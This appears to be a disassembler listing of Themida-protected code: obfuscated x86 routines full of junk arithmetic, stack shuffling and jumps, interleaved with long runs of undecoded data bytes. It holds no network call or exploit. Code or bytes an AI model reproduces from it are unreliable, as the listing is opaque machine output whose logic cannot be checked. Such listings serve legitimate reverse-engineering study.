; ---------------------------------------------------------------------------


loc_54369F:				; CODE XREF: Themida_:005436A4j
		inc	eax
		inc	edi


loc_5436A1:				; CODE XREF: Themida_:0054369Dj
		cmp	byte ptr [edi],	0
		jnz	short loc_54369F
		xor	ecx, ecx
		mov	edi, [ebp+8]
		jmp	short loc_5436D0
; ---------------------------------------------------------------------------


loc_5436AD:				; CODE XREF: Themida_:005436D2j
		xor	edx, edx
		mov	dl, [edi]
		sub	dl, 30h
		mov	esi, eax
		dec	esi
		push	eax
		mov	eax, edx
		push	ebx
		mov	ebx, 0Ah
		jmp	short loc_5436C5
; ---------------------------------------------------------------------------


loc_5436C2:				; CODE XREF: Themida_:005436C8j
		mul	ebx
		dec	esi


loc_5436C5:				; CODE XREF: Themida_:005436C0j
		cmp	esi, 0
		ja	short loc_5436C2
		pop	ebx
		add	ecx, eax
		pop	eax
		inc	edi
		dec	eax


loc_5436D0:				; CODE XREF: Themida_:005436ABj
		or	eax, eax
		jnz	short loc_5436AD
		mov	eax, ecx
		pop	esi
		pop	edx
		pop	edi
		pop	ecx
		leave
		retn	4
; ---------------------------------------------------------------------------
		dw 8960h
		dd 3106595h, 11858B06h,	6106031Ah, 80DFB70Fh
		db 0C7h, 31h
; ---------------------------------------------------------------------------


loc_5436F2:				; CODE XREF: Themida_:loc_54098Bj
		mov	eax, ecx
		jmp	loc_5655FD
; ---------------------------------------------------------------------------
		dd offset byte_5AB47F
		dd offset byte_5AAF8D
		db 68h,	0FFh, 12h
		dd 0
		dd 5AB47F00h, 59003F00h, 59002802h, 24602h, 200h, 100h
		dd 400h, 50BC7400h, 0FAh, 4 dup(0)
		dd 547CDE00h, 54BB4200h, 5473C400h, 54C52D00h, 54840A00h
		dd 54573B00h, 54F43200h, 54729D00h, 549E0A00h, 54C26600h
		dd 544F8D00h, 54807700h, 544BD600h, 54694400h, 54944800h
		dd 54C93F00h, 54C39F00h, 549D6500h, 54AC5F00h, 546A7600h
		dd 54568700h, 548E3F00h, 54DCBF00h, 544B8000h, 54D87800h
		dd 54597700h, 54DC3A00h, 54451200h, 54C49000h, 54407F00h
		dd 54D14700h, 54ED3000h, 547BED00h, 54E4BF00h, 5484F300h
		dd 5449C600h, 54EC8500h, 54D4C100h, 54ACCC00h, 54E26200h
		dd 54E9AB00h, 5466CD00h, 543B0B00h, 54F01D00h, 548F9E00h
		dd 54C58500h, 54C4DD00h, 54F33400h, 54D60B00h, 5462D700h
		dd 54FB2500h, 54913400h, 54B3CF00h, 54439C00h, 54C3CA00h
		dd 54883800h, 54B7DC00h, 54649800h, 543F7300h, 54DCFD00h
		dd 5464A300h, 54E56F00h, 54C3F000h, 549FD800h, 54F57D00h
		dd 5479E200h, 54F5CF00h, 549F3400h, 54F6E700h, 544B9700h
		dd 54DB4600h, 54510400h, 54C28D00h, 54D7B000h, 545FF300h
		dd 54C84D00h, 54592E00h, 54CF7700h, 54AAD800h, 54880B00h
		dd 54AFD200h, 548E0700h, 543AC300h, 54BBEF00h, 548AF300h
		dd 54774800h, 54DCDF00h, 54650300h, 54BF5B00h, 547AB200h
		dd 54D70700h, 54524100h, 54AF5800h, 54B83B00h, 5468F000h
		dd 54C18000h, 5457A200h, 54F82C00h, 5442C600h, 54723300h
		dd 543A3E00h, 548D6E00h, 54F73200h, 5461A700h, 54946100h
		dd 54EBA600h, 54F64A00h, 54DE8400h, 54533B00h, 54BE7200h
		dd 54B3F100h, 54C73400h, 5478EA00h, 54C10800h, 54764800h
		dd 54605D00h, 54ECA600h, 549C9400h, 54685900h, 54E7D400h
		dd 54AE5E00h, 54C8FC00h, 548C9F00h, 543C3F00h, 54954E00h
		dd 5489EA00h, 5485E800h, 54808A00h, 54691500h, 5492BC00h
		dd 54406300h, 54909200h, 545D2100h, 54BA4700h, 54F0DB00h
		dd 54607D00h, 54415E00h, 54583900h, 54EBC800h, 547C7200h
		dd 54A44000h, 545A6C00h, 54980300h, 54860B00h, 544F6C00h
		dd 54C6B800h, 54BCBD00h, 546F0200h, 544A9B00h, 54D13300h
		dd 543B4600h, 54B5AD00h, 544BAE00h, 54B74100h, 54A48D00h
		dd 545BAE00h, 54F95800h, 547ACF00h, 547A3500h, 54C47B00h
		dd 54B2B300h, 547F1D00h, 54994000h, 54A06500h, 54717F00h
		dd 54641F00h, 545CC600h
		db 0
; ---------------------------------------------------------------------------


loc_5439D9:				; CODE XREF: Themida_:00576320j
					; Themida_:005921F1j ...
		pusha
		pushf
		cld
		call	$+5
		pop	edi
		sub	edi, 6037D6Dh
		mov	eax, edi
		add	edi, 6037A85h
		cmp	eax, [edi+2Ch]
		jnz	short loc_5439F7
		jmp	short loc_543A0A
; ---------------------------------------------------------------------------


loc_5439F7:				; CODE XREF: Themida_:005439F3j
		mov	[edi+2Ch], eax
		mov	ecx, 0A7h
		jmp	short loc_543A06
; ---------------------------------------------------------------------------


loc_543A01:				; CODE XREF: Themida_:00543A08j
		add	[edi+ecx*4+40h], eax
		dec	ecx


loc_543A06:				; CODE XREF: Themida_:005439FFj
		or	ecx, ecx
		jnz	short loc_543A01


loc_543A0A:				; CODE XREF: Themida_:005439F5j
		mov	esi, [esp+24h]
		mov	ebx, esi
		add	esi, eax
		mov	ecx, 1


loc_543A17:				; CODE XREF: Themida_:00543A1Ej
		xor	eax, eax
		lock cmpxchg [edi+30h],	ecx
		jnz	short loc_543A17


loc_543A20:				; CODE XREF: Themida_:005458E8j
					; Themida_:loc_545BD3j	...
		lodsb
		xor	al, bl
		push	edx
		jmp	loc_549D8D
; ---------------------------------------------------------------------------
aQsz		db '·q釱',0
		align 10h
a341434S_	db '34$14$34$é_´',0
		align 2
		dw 0FF64h
		dd 0FFDAE932h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_543A46:				; CODE XREF: Themida_:005499CDj
		mov	[esp], ebp
		mov	ebp, 4
		jmp	loc_545EF8
; ---------------------------------------------------------------------------
		db 83h
		dd 0BF5704C4h, 0E2F73A5h, 2CF1E947h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_543A62:				; CODE XREF: Themida_:0054BEE7j
		mov	[esp], ecx
		push	4
		pop	ecx
		push	ebx
		mov	ebx, 0BDE6998h
		and	ebx, 7EB70256h
		not	ebx
		jmp	loc_547838
; ---------------------------------------------------------------------------


loc_543A7E:				; CODE XREF: Themida_:0054B062j
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_546F8B
; ---------------------------------------------------------------------------
		dd 5024B850h, 442904F5h, 8B580824h, 0C4E92404h
		db 0B8h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_543A9F:				; CODE XREF: Themida_:00546B25j
		add	edx, edi
		add	edx, 18E43009h
		pop	edi
		xchg	edx, [esp]
		pop	esp
		jmp	loc_54C0A2
; ---------------------------------------------------------------------------
		db 59h,	33h, 14h
		dd 24143124h, 8B241433h, 0FBE92424h, 0AD000091h, 956AE9h
		dd 0E9D72900h, 7CA7h, 50665A66h, 64F0B866h, 0E9C23166h
		dd 6ADCh, 50241C8Bh, 0BE56E089h, 4, 55EF001h, 4, 5C240487h
		dd 8B240487h, 0E1F72424h, 83CAE9h
		db 0
; ---------------------------------------------------------------------------


loc_543B05:				; CODE XREF: Themida_:0054F669j
		pop	esp
		jmp	loc_54955C
; ---------------------------------------------------------------------------
		db 66h
		dd 83240C8Bh, 76E904ECh, 3300004Fh, 248B2434h, 4F3AE924h
		dd 815D0000h, 553874CDh, 631AE93Ch, 0D3F70000h,	0EB81DBF7h
		dd 1A7663Ah, 815BDA01h,	2390BEC2h, 52CE97Dh, 0C8B0000h
		dd 9B55E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_543B4E:				; CODE XREF: Themida_:00547923j
		pop	ebx
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		xor	ecx, 2FB0367Ch
		push	6BFAh
		jmp	loc_547959
; ---------------------------------------------------------------------------
aFqsG		db 'fQ霃',0
		db 0
; ---------------------------------------------------------------------------


loc_543B73:				; CODE XREF: Themida_:0054E625j
		add	esp, 4
		jmp	loc_54C82E
; ---------------------------------------------------------------------------
		dw 895Ch
		dd 0B050241Ch, 4EC83DFh, 0E9240C89h, 8C61h
; ---------------------------------------------------------------------------


loc_543B90:				; CODE XREF: Themida_:00545085j
		mov	[esp], edx
		sub	dword ptr [esp], 18263F72h
		pop	eax
		add	eax, 18263F72h
		pop	edx
		sub	esp, 4
		mov	[esp], ebp
		push	edx
		push	535449E2h
		pop	edx
		jmp	loc_54BC81
; ---------------------------------------------------------------------------
		db 53h
		dd 0DBE9h, 0CEF58000h, 8059EA30h, 9FE9B5F2h, 8100005Ah
		dd 0DA7F9AEFh, 5E7C161h, 4EB3E781h, 0EF814CF2h,	0FFFFFFFFh
		dd 1232E9h, 5FF80100h, 8704E883h, 895C2404h, 2BE2434h
		dd 1000000h, 3C875EF7h,	24248B24h, 0BC14E9h, 24343300h
		dd 0E9243431h, 2408h, 8102EAC1h, 0D8FE31EAh, 5AD301C6h
		dd 5EADBA52h, 0D30139D8h, 55ADE9h, 0E9526600h, 3209h
; ---------------------------------------------------------------------------


loc_543C2C:				; CODE XREF: Themida_:0054A8F0j
		xor	eax, [esp]
		jmp	loc_546BC4
; ---------------------------------------------------------------------------
		dd 691EBD55h, 0C6E962ADh, 0FF0000A7h, 0E9592434h, 121h
		dd 59B5ED81h, 0EAE9DD17h, 68000050h, 3E0Ah, 56241C89h
		dd 0EE5BB9BEh, 5EF38949h, 156CEB81h, 0B2E9E108h, 0B800002Dh
		dd 3D755112h, 48BC221h
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_545248
; ---------------------------------------------------------------------------


loc_543C87:				; CODE XREF: Themida_:0054CAC8j
		push	0D71h
		mov	[esp], edx
		jmp	loc_544520
; ---------------------------------------------------------------------------
		dd 71B201B7h, 41C4E9h, 4EA8100h, 87000000h, 895C2414h
		dd 0A6B82404h, 1015A3Ch, 0BD5558C3h, 19530476h,	5E9DDF7h
		dd 8B000066h, 9AE92424h, 5500000Fh, 30BB0BDh, 4E6FE977h
		dd 0C7830000h, 243C8704h, 20DDE9h, 4BF00h, 0EE810000h
		dd 5AFE0AA8h, 0C681FE01h, 5AFE0AA8h, 4C6815Fh, 33000000h
		dd 34312434h, 24343324h, 6824248Bh, 12D5h, 0E9241489h
		dd 8372h, 7355C281h, 0D6E97690h, 66000028h, 0E9240C89h
		dd 0FFFFFCFCh, 8324348Bh, 0C78104C4h, 4, 372E68h, 243C8900h
		dd 42474FFh, 6B45E9h, 0E1895100h, 4C181h, 27E90000h, 89000016h
		dd 6EBB241Ch, 2921CE44h, 1585BDAh, 47BE56C2h, 57327A61h
		dd 76B6E9h, 4EC8300h, 0E9240C89h, 1F58h, 5AD4EF81h, 535E64FAh
		dd 2BBh, 5BDF0100h, 31243C33h, 3CE9243Ch, 29000021h, 79E95DEEh
		dd 81000093h, 27778EDh,	1B57E945h, 0C1810000h, 3A4F4C2Ah
		dd 8159CA29h, 494CC2F2h, 7036E91Bh, 89500000h, 405E0h
		dd 0C0830000h, 5E3E904h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_543DC6:				; CODE XREF: Themida_:00545AA2j
		xor	esi, 0F8FDA92Ch
		add	ebx, esi
		pop	esi
		mov	ebp, ebx
		pop	ebx
		and	eax, ebp
		jmp	loc_54D9A8
; ---------------------------------------------------------------------------
		db 89h,	34h, 24h
		dd 4BEh, 5EF18900h, 0E959CE29h,	7F9Ch, 0FFFC2FE9h, 70AB68FFh
		dd 0F75E612Bh, 0EED146D6h, 1179B951h, 0C9815073h, 22834878h
		dd 81D9F749h, 1C521C1h,	0E9CE2977h, 0A20Fh
; ---------------------------------------------------------------------------


loc_543E18:				; CODE XREF: Themida_:005495C4j
		add	ebx, ecx
		push	ebp
		jmp	loc_5458C1
; ---------------------------------------------------------------------------


loc_543E20:				; CODE XREF: Themida_:0054541Cj
		not	dword ptr [esp]
		pop	edx
		sub	edx, 0CBC48F85h
		jmp	loc_54CAA1
; ---------------------------------------------------------------------------


loc_543E2F:				; CODE XREF: Themida_:00548FFDj
		mov	[esp], ecx
		sub	esp, 4
		mov	[esp], esi
		mov	ecx, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], ecx
		xor	dword ptr [esp], 69365607h
		pop	ebx
		xor	ebx, 69365607h
		pop	ecx
		mov	edi, ebx
		push	dword ptr [esp]
		pop	ebx
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		jmp	loc_54EE84
; ---------------------------------------------------------------------------
		db 0C1h
		dd 0EDC107EDh, 0FCC58103h, 8941EDBEh, 0BF575DEAh, 41FE674Ch
		dd 253BEA81h, 0DBE922A4h, 810000B7h, 4ECh, 8B11E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_543E9E:				; CODE XREF: Themida_:0054F477j
		push	eax
		add	dword ptr [esp], 36A91B3Bh
		jmp	loc_54CD4B
; ---------------------------------------------------------------------------


loc_543EAB:				; CODE XREF: Themida_:005448CDj
		sub	edi, 411C0943h
		add	edi, 381628DCh
		sub	edi, eax
		sub	edi, 381628DCh
		add	edi, 411C0943h
		pop	eax
		sub	edi, 0BDA3939Ch
		and	eax, edi
		push	dword ptr [esp]
		pop	edi
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		jmp	loc_54E43D
; ---------------------------------------------------------------------------
		dd 4C681h, 13E90000h, 8800006Ch, 24048BC3h, 0E9E38953h
		dd 4308h, 5C240487h, 0BB241C89h, 7A2904E7h, 4D0EE9h, 45123500h
		dd 0C701590Bh, 8124048Bh, 4C4h,	2C78300h, 31243C33h, 3C33243Ch
		dd 1BE95C24h, 8900002Dh, 9C502414h, 0FFFAE3E9h,	0B25253FFh
		dd 0E9D388F1h, 716Bh
; ---------------------------------------------------------------------------


loc_543F48:				; CODE XREF: Themida_:0054994Dj
		push	eax
		mov	eax, 3DBE6272h
		push	edi
		mov	edi, 214340B5h
		jmp	loc_549DBE
; ---------------------------------------------------------------------------
aBRSiq		db 'êÏ-R&é©q',0
		align 4
		dd 4F11BE56h, 74010F6Dh, 6BE90424h, 0AC000017h,	2E2D68h
		dd 13E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_543F7E:				; CODE XREF: Themida_:005447DEj
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_54E202
; ---------------------------------------------------------------------------
		db 0C1h, 0E9h, 8
		dd 1FDAE9h, 24148900h, 0E994B450h, 63D2h, 0E9FBF680h, 41DCh
		dd 14F7515Fh, 0E9815924h, 0F5FCFED7h, 4D13C781h, 0CF01797Ch
		dd 4D13EF81h, 53E9797Ch, 0BD00009Fh, 614B6A75h,	5B3DE9h
		dd 2CD00000h, 5B5A6669h, 27D9E952h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_543FDA:				; CODE XREF: Themida_:0054F189j
		xchg	ebx, esi
		jmp	loc_54BC3B
; ---------------------------------------------------------------------------


loc_543FE1:				; CODE XREF: Themida_:0054663Ej
		xor	eax, [esp]
		mov	esp, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		jmp	loc_549BA9
; ---------------------------------------------------------------------------
		db 5Fh
		dd 835EF201h, 148704EAh, 34895C24h, 57E68924h, 0B44EADBFh
		dd 57C78105h, 0E9FA4BB1h, 102Eh, 8685758h, 5F6B6C7Ch, 79B8F781h
		dd 0EFD15AB8h, 70C8CF81h, 0E7C10FFDh, 37BDE906h, 0EC810000h
		dd 4, 0FF240C89h, 8B042474h, 0C481240Ch, 4, 5C24048Fh
		dd 9C240401h, 0FFF9C3E9h, 9BE955FFh, 0FF000014h, 669D1C77h
		dd 241CD359h, 0F9AEE99Ch, 0E981FFFFh, 3798587Dh, 7EE9D101h
		dd 64000041h, 66028B66h, 66486268h, 0E9240489h,	0FFFFF990h
; ---------------------------------------------------------------------------


loc_544090:				; CODE XREF: Themida_:0054BC47j
		pop	esi
		pop	dword ptr [esp]
		pop	eax
		push	ecx
		jmp	loc_548CBA
; ---------------------------------------------------------------------------


loc_54409B:				; CODE XREF: Themida_:00547833j
		add	ebp, 6EF6585Ch
		mov	esi, ebp
		pop	ebp
		sub	esi, 7EC255B7h
		jmp	loc_54A8BD
; ---------------------------------------------------------------------------


loc_5440AF:				; CODE XREF: Themida_:0054DF9Bj
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		push	7F46h
		jmp	loc_548BB4
; ---------------------------------------------------------------------------
		dd 48BC731h, 4D9E924h, 80590000h, 0E200EFC2h, 8BEFEA80h
		dd 0C4832404h, 80CAFE04h, 0D03043F2h, 8324148Bh, 0E95304C4h
		dd 7226h
; ---------------------------------------------------------------------------


loc_5440F8:				; CODE XREF: Themida_:0054A9CFj
		push	ebx
		mov	ebx, 69A318DDh
		inc	ebx
		jmp	loc_5443DF
; ---------------------------------------------------------------------------
aZsS		db 'Z騑',0
		align 2


loc_54410A:				; CODE XREF: Themida_:0054E9F0j
		push	ebp
		mov	ebp, 69576AAAh
		push	ecx
		mov	ecx, 52A657D5h
		or	ebp, ecx
		mov	ecx, [esp]
		add	esp, 4
		shl	ebp, 4
		and	ebp, 37CB045Bh
		shr	ebp, 7
		shl	ebp, 2
		xor	ebp, 18846FE9h
		xor	ecx, ebp
		jmp	loc_54D8BF
; ---------------------------------------------------------------------------


loc_54413A:				; CODE XREF: Themida_:0054E0D1j
		add	esp, 4
		xchg	eax, ebx
		jmp	loc_54DAFC
; ---------------------------------------------------------------------------
		db 89h
		dd 0C4E92414h, 8100000Bh, 4ECh,	0FBF9E900h, 0B652FFFFh
		dd 5998E9C4h, 8B660000h, 68522404h, 79ACh, 81242489h, 42404h
		dd 148B0000h, 6E95224h,	8100008Eh, 4C4h, 262C00h, 179E9F0h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54418A:				; CODE XREF: Themida_:0054B8F8j
		xchg	edi, [esp]
		mov	esp, [esp]
		mov	[esp], ecx
		jmp	loc_54D36E
; ---------------------------------------------------------------------------


loc_544198:				; CODE XREF: Themida_:005494D7j
		xchg	ecx, [esp]
		mov	esp, [esp]
		mov	[esp], edx
		push	ecx
		jmp	loc_549396
; ---------------------------------------------------------------------------
		db 50h
		dd 0E480D2B4h, 0E9DCF6ADh, 771Ah, 8861EF80h, 0C9B75BF8h
		dd 48BC700h, 36E95224h
		db 3 dup(0)
; ---------------------------------------------------------------------------


loc_5441C7:				; CODE XREF: Themida_:00549609j
		push	dword ptr [esp]
		pop	edx
		push	edi
		mov	edi, esp
		push	esi
		mov	esi, 4
		jmp	loc_54D255
; ---------------------------------------------------------------------------
		db 89h,	2Ch, 24h
		dd 8904EC83h, 4812424h,	424h, 0E9535D00h, 7B0Ch, 0C781E789h
		dd 4, 0FD1E9h, 81E28900h, 4C2h,	4C28100h, 87000000h, 0DAE92414h
		db 58h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_544213:				; CODE XREF: Themida_:005496B4j
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		jmp	loc_546D76
; ---------------------------------------------------------------------------


loc_544227:				; CODE XREF: Themida_:00547963j
		push	2A113BCEh
		pop	ebx
		xor	ebx, 4F9002E2h
		xor	ebx, 58692933h
		sub	ebx, 7507164h
		sub	ebx, 1D637E51h
		mov	edi, ebx
		pop	ebx
		shl	edi, 3
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 48F6388Fh
		jmp	loc_546818
; ---------------------------------------------------------------------------
		dw 48Fh
		dd 0F665C24h, 6866C8B6h, 0ACE96693h, 89FFFFFAh,	5A542414h
		dd 4C281h, 0E9570000h, 59Dh
; ---------------------------------------------------------------------------


loc_544280:				; CODE XREF: Themida_:0054C6E2j
		mov	ebp, esp
		add	ebp, 4
		push	ecx
		jmp	loc_544DC4
; ---------------------------------------------------------------------------
aYsts		db 'Yéts',0
		align 4
aAAidaR		db '€ê+€ëD€Ãr',0
		dw 52D3h
		dd 8701E9h
		db 0
; ---------------------------------------------------------------------------


loc_5442A5:				; CODE XREF: Themida_:00546793j
		mov	edi, 4
		sub	ebp, edi
		pop	edi
		xchg	ebp, [esp]
		mov	esp, [esp]
		mov	[esp], eax
		push	dword ptr [esp]
		pop	edx
		push	eax
		jmp	loc_54D525
; ---------------------------------------------------------------------------
aZsum		db 'Zé“M',0
		align 2
		dw 52ACh
		dd 0FFF8E6E9h
		db 0FFh
; ---------------------------------------------------------------------------

locret_5442CD:				; CODE XREF: Themida_:00549869j
		retn
; ---------------------------------------------------------------------------
		dw 4DE9h
		dd 41FFFFF7h, 3E1C149h,	0A3AF181h, 0CA3170D7h, 592434FFh
		dd 4C481h, 0D6890000h, 8124148Bh, 4C4h,	4747E900h, 0C890000h
		dd 3DE95624h, 40000AAh,	24148B26h, 4C481h, 89520000h, 4C281E2h
		dd 0E9000000h, 48A1h, 8904EC83h, 2BE92404h, 29000056h
		dd 40582404h, 0A023BD55h, 0B9059E54h, 292BD40Eh, 0EB92DE8h
		dd 15D2BD4h, 0B85058C1h, 4, 54CEE981h, 0C10109FDh, 54CEC181h
		dd 0E95809FDh, 0FFFFFCDEh, 4EC835Ch, 0E9241489h, 75B8h
		dd 525AD131h, 0AE74F7BAh, 22F28102h, 316D757Ch,	0D9F75AD1h
		dd 43ACE9h, 58C12900h, 0C181F101h, 7C1E4495h, 240C875Eh
		dd 2924248Bh, 0E99C2404h, 857Ah, 621868h, 24148900h, 0FFF677E9h
		dd 240487FFh, 245F895Ch, 68241C8Bh, 2749h, 89243489h, 4BA52E6h
		dd 0E9000000h, 4BFBh, 0BA241489h, 41CF4E19h, 295AD089h
		dd 0FF042444h, 0C9E92434h
		db 86h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5443DF:				; CODE XREF: Themida_:005440FFj
		shr	ebx, 5
		push	ebp
		jmp	loc_54D5DE
; ---------------------------------------------------------------------------


loc_5443E8:				; CODE XREF: Themida_:0054EB28j
		push	76C35B26h
		mov	ecx, [esp]
		push	ebx
		mov	ebx, esp
		sub	esp, 4
		mov	[esp], eax
		push	esi
		push	2A442ACEh
		pop	esi
		add	esi, 7332F30h
		jmp	loc_54B76C
; ---------------------------------------------------------------------------
		dw 0A22Ch
		dd 0FC3305Ah, 8B66C0B6h, 0E9532414h, 2D13h, 5724048Fh
		dd 144135BFh, 168533Eh,	5B000000h, 525BDF01h, 18B4E9h
		dd 0C5F58100h, 2941EB76h, 242C8BEBh, 4C481h, 3880000h
		dd 0E92434FFh
dword_544450	dd 81C2h, 3484EA81h, 3C8B5705h,	4EC8324h, 89242C89h, 4C581E5h
					; DATA XREF: ___:off_43D3D4o
		dd 81000000h, 4C5h, 242C8700h, 0B231E9h, 241C8900h, 0EF01CCBBh
		dd 0E9515324h, 2127h, 5F545759h, 35C7BB53h, 0F3810F13h
		dd 4DF63CAEh, 240CFF53h, 64EB815Bh, 8142E509h, 0C97D0DC7h
		dd 52DF0136h, 1179E9h
		db 0
; ---------------------------------------------------------------------------


loc_5444B1:				; CODE XREF: Themida_:0054684Dj
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		mov	[esp], ebx
		add	dword ptr [esp], 2BB00072h
		jmp	loc_547810
; ---------------------------------------------------------------------------
a3SW		db '3,$é±w',0
		align 4
		dd 0FF2434FFh, 0C8B2434h, 4EC8324h, 89243C89h, 4C781E7h
		dd 52000000h, 8645CCBAh, 91E5E97Fh, 13B00000h, 8904EC83h
		dd 5AB7241Ch, 0FE5BF808h, 88A32CC8h, 9BC4E9C2h,	8B660000h
		dd 0FA68240Ch, 0E900001Bh, 6073h
; ---------------------------------------------------------------------------


loc_544520:				; CODE XREF: Themida_:00543C8Fj
		mov	edx, 1
		and	eax, edx
		jmp	loc_54A835
; ---------------------------------------------------------------------------


loc_54452C:				; CODE XREF: Themida_:0054BC75j
		mov	esi, ecx
		pop	ecx
		xor	esi, edi
		pop	edi
		mov	ecx, esi
		jmp	loc_546B2A
; ---------------------------------------------------------------------------
aIthN		db '‰âhìN',0
		align 10h
		dd 53242C89h, 203F08BBh, 5CEB8111h, 52967320h, 0D589DA89h
		dd 8124148Bh, 4C4h, 0E9E95B00h,	81000076h, 4EFh, 243C8700h
		dd 38ABE95Ch
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_544572:				; CODE XREF: Themida_:0054EC36j
		add	ebp, ebx
		add	ebp, 3AE06803h
		pop	ebx
		xchg	ebp, [esp]
		mov	esp, [esp]
		jmp	loc_544D07
; ---------------------------------------------------------------------------
		dw 0C281h
		dd 57053484h, 0C1E9FA01h
		db 0FEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_544593:				; CODE XREF: Themida_:0054B4ADj
		mov	edi, 401C7AEFh
		jmp	loc_54D82D
; ---------------------------------------------------------------------------
		db 59h,	56h, 52h
		dd 0CE6A24BAh, 0BAF9BE64h, 56E9BB8Dh, 81000092h, 4C4h
		dd 8BF80100h, 0C483243Ch, 8FB3E904h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5445C2:				; CODE XREF: Themida_:0054F4ADj
		push	edi
		push	ebx
		jmp	loc_54C638
; ---------------------------------------------------------------------------


loc_5445C9:				; CODE XREF: Themida_:0054FB20j
		mov	[eax], edx
		pop	eax
		mov	ecx, [esp]
		push	4B2Bh
		mov	[esp], ebp
		mov	ebp, esp
		push	edi
		push	ebp
		mov	ebp, 44917434h
		mov	edi, 44917430h
		xor	edi, ebp
		jmp	loc_54D323
; ---------------------------------------------------------------------------
		dd 5C243C87h, 28F4E9h
		db 0
; ---------------------------------------------------------------------------


loc_5445F5:				; CODE XREF: Themida_:0054D305j
		sub	ebp, edi
		pop	edi
		and	eax, ebp
		jmp	loc_54A1A3
; ---------------------------------------------------------------------------


loc_5445FF:				; CODE XREF: Themida_:00545C42j
		mov	ebp, esi
		pop	esi
		sub	ecx, 0C595F53h
		add	ecx, ebp
		jmp	loc_54622C
; ---------------------------------------------------------------------------
		db 89h
		dd 0DEE92404h
		db 0A3h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_544617:				; CODE XREF: Themida_:0054A6E2j
		pop	esp
		jmp	loc_54BCE4
; ---------------------------------------------------------------------------
		db 87h,	3Ch, 24h
		dd 0E924248Bh, 0FFFFF3F8h, 158C789h, 243C8BF8h,	6B46E9h
		dd 81C32900h, 9B2A66EBh, 93C3813Ah, 0E916E079h,	7A0Bh
; ---------------------------------------------------------------------------


loc_544648:				; CODE XREF: Themida_:00545B16j
		pop	ebx
		shr	ebx, 5
		add	ebx, 1
		push	ecx
		mov	ecx, 0EF952E8h
		dec	ecx
		push	eax
		mov	eax, 24EA7782h
		inc	eax
		xor	eax, 22B528C7h
		neg	eax
		push	edi
		mov	edi, 48EF55E8h
		shr	edi, 7
		dec	edi
		not	edi
		not	edi
		add	edi, 0BAEB8140h
		jmp	loc_548029
; ---------------------------------------------------------------------------
		dd 0D95781BAh, 81D2F77Eh, 0B75EDACAh, 6C2817Eh,	1004801h
		dd 0F9685AD5h, 8900002Ah, 44E92414h, 5100001Fh,	781C9AB9h
		dd 59CB0107h, 0E9008F66h, 0FFFFF36Ch, 0E9EB0159h, 15A6h
		dd 0BA525750h, 544B3E5Ch, 3452CBFh, 0E9D72976h,	1CDBh
		dd 4C681h, 34870000h, 0CE805C24h, 80C6FE70h, 0E6C0B5C6h
		dd 0A4B15102h, 0C180C9FEh, 59CE28CBh, 535AF000h, 0F380CBB3h
		dd 0B652665Dh, 0B3536648h, 66D800D6h, 2885045Bh, 0E9852CF0h
		dd 51FCh, 5750E789h, 0C9489EBFh, 65BDE91Fh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54471E:				; CODE XREF: Themida_:0054E1AEj
		mov	[esp], eax
		xor	[esp], ebp
		xor	ebp, [esp]
		xor	[esp], ebp
		sub	esp, 4
		mov	[esp], ebp
		xchg	edx, [esp]
		xchg	eax, edx
		not	eax
		jmp	loc_54CEAD
; ---------------------------------------------------------------------------
		db 0BAh
		dd 1818249Bh, 3989F281h, 0EA87585Ah, 0EA87D5F7h, 1D17C281h
		dd 0D1014042h, 4EBFE9h,	5AD02900h, 2C0835Dh, 2474FF50h
		dd 24048B04h, 0E9E78957h, 63EDh
; ---------------------------------------------------------------------------


loc_544770:				; CODE XREF: Themida_:0054FB4Dj
		add	ebp, 4
		jmp	loc_54A9C1
; ---------------------------------------------------------------------------
aZSA		db '‡<$éÃA',0
		dw 0B900h
		dd 4, 8759CA29h, 895C2414h, 0E953240Ch,	4B62h
; ---------------------------------------------------------------------------


loc_544798:				; CODE XREF: Themida_:005493E5j
		push	esp
		jmp	loc_54E949
; ---------------------------------------------------------------------------
		dw 0E089h
		dd 405h, 40500h, 41E90000h
		db 0B1h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_5447AF:				; CODE XREF: Themida_:0054B176j
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_5449B6
; ---------------------------------------------------------------------------


loc_5447BA:				; CODE XREF: Themida_:00544DD4j
		pop	ebp
		sub	ecx, 4
		xchg	ecx, [esp]
		mov	esp, [esp]
		mov	[esp], edi
		mov	edi, 4
		add	ebp, edi
		pop	edi
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		mov	esp, [esp]
		jmp	loc_543F7E
; ---------------------------------------------------------------------------


loc_5447E3:				; CODE XREF: Themida_:0054D236j
		mov	[esp], esp
		jmp	loc_54F291
; ---------------------------------------------------------------------------
		db 0BBh
		dd 2B594B13h, 4D00E956h, 0E95B0000h, 1E77h, 0FF38BD55h
